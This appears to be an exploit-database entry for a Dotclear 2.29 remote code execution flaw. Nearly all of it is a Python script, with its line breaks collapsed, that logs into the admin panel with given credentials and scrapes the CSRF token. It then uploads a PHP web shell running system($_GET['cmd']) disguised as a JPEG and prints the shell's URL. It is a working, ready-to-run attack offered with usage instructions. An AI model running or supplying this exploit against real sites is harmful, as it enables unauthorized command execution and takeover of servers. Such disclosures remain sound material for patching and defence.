Headline
Dotclear 2.29 Remote Code Execution
Dotclear version 2.29 suffers from a remote code execution vulnerability.
# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)# Discovered by: Ahmet Ümit BAYRAM# Discovered Date: 26.04.2024# Vendor Homepage: https://git.dotclear.org/explore/repos# Software Link:https://github.com/dotclear/dotclear/archive/refs/heads/master.zip# Tested Version: v2.29 (latest)# Tested on: MacOSimport requestsimport timeimport randomimport stringfrom bs4 import BeautifulSoupdef generate_filename(extension=".inc"):return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +extensiondef get_csrf_token(response_text):soup = BeautifulSoup(response_text, 'html.parser')token = soup.find('input', {'name': 'xd_check'})return token['value'] if token else Nonedef login(base_url, username, password):print("Exploiting...")time.sleep(1)print("Logging in...")time.sleep(1)session = requests.Session()login_data = {"user_id": username,"user_pwd": password}login_url = f"{base_url}/admin/index.php?process=Auth"login_response = session.post(login_url, data=login_data)if "Logout" in login_response.text:print("Login Successful!")return sessionelse:print("Login Failed!")return Nonedef upload_file(session, base_url, filename):print("Shell Preparing...")time.sleep(1)boundary = "---------------------------376201441124932790524235275389"headers = {"Content-Type": f"multipart/form-data; boundary={boundary}","X-Requested-With": "XMLHttpRequest"}csrf_token = get_csrf_token(session.get(f"{base_url}/admin/index.php?process=Media").text)payload = (f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"f"2097152\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"f"{csrf_token}\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}\"\r\n"f"Content-Type: image/jpeg\r\n\r\n""<html>\n<body>\n<form method=\"GET\" name=\"<?php echobasename($_SERVER['PHP_SELF']); ?>\">\n""<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<inputtype=\"SUBMIT\" value=\"Execute\">\n""</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}\n?>\n</pre>\n</body>\n</html>\r\n"f"--{boundary}--\r\n")upload_response = session.post(f"{base_url}/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",headers=headers, data=payload.encode('utf-8'))if upload_response.status_code == 200:print(f"Your Shell is Ready: {base_url}/public/{filename}")else:print("Exploit Failed!")def main(base_url, username, password):filename = generate_filename()session = login(base_url, username, password)if session:upload_file(session, base_url, filename)if __name__ == "__main__":import sysif len(sys.argv) != 4:print("Usage: python script.py <siteurl> <username> <password>")else:base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]main(base_url, username, password)